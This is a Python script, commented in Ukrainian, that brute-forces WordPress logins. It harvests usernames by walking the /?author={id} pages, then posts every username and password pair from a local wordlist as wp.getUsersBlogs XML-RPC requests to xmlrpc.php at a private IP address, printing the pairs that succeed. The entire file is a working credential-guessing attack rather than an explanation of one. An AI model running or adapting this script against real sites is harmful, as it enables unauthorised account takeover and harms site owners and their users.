import requests, itertools, multiprocessing
from lxml import html

# - - - - - - - - - - - Вхідні дані - - - - - - - - - - -

XML = '''
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
 <param>
  <value>
   <string>{username}</string>
  </value>
 </param>
 <param>
  <value>
   <string>{password}</string>
  </value>
 </param>
</params>
</methodCall>
'''

TARGET_URL = 'http://192.168.1.6/xmlrpc.php'
AUTHOR_URL = 'http://192.168.1.6/?author={id}'

# - - - - - - - - - - - - - - - - - - - - - - - - - - -

def wrap_creds_in_xml(username="", password=""):
    """З XML беремо username і password"""
    return XML.format(username=username, password=password)


def is_correct(text=""):
    """Записуємо лише успішні моменти підбору пароля"""
    constant = 'Incorrect username or password'
    return constant not in text


def get_usernames():
    """Парсимо користувачів по /?author={id}"""
    start_id = 1
    f = open('C:\\Users\\xStevex\\Desktop\\username.txt', 'w')

    while True:
        r = requests.get(AUTHOR_URL.format(id=start_id))
        tree = html.fromstring(r.content)
        title = tree.findtext('.//title')
        if "Page not found – user's Blog!" in title:
            f.close()
            break

        f.write(title.split()[0] + '\n')
        start_id += 1

    with open('C:\\Users\\xStevex\\Desktop\\username.txt') as file:
        text_as_string = file.read()
        return text_as_string.split()

def get_passwords():
    """Підтягуємо паролі"""
    with open('C:\\Users\\xStevex\\Desktop\\passwords.txt') as file:
        text_as_string = file.read()
        return text_as_string.split('\n')

def main():
    """Сам процес бруртфорсу"""
    users = get_usernames()
    passwords = get_passwords()

    for user, password in itertools.product(users, passwords):
        payload = wrap_creds_in_xml(username=user, password=password)
        response = requests.post(TARGET_URL, payload)
        correct = is_correct(text=response.text)
        if correct:
            print('[+] {}/{}'. format(user, password))
        elif not correct:
            print('[-] {}/{} '.format(user, password))
        else:
            exit()

# - - - - - - - - - - - MAIN - - - - - - - - - - -
if __name__ == '__main__':
    # p1 = multiprocessing.Process(target=wrap_creds_in_xml)
    # p2 = multiprocessing.Process(target=is_correct)
    # p3 = multiprocessing.Process(target=get_passwords)
    # p4 = multiprocessing.Process(target=get_usernames)
    p5 = multiprocessing.Process(target=main)
    #
    # p1.start()
    # p2.start()
    # p3.start()
    # p4.start()
    p5.start()
    #
    # p1.join()
    # p2.join()
    # p3.join()
    # p4.join()
    # p5.join()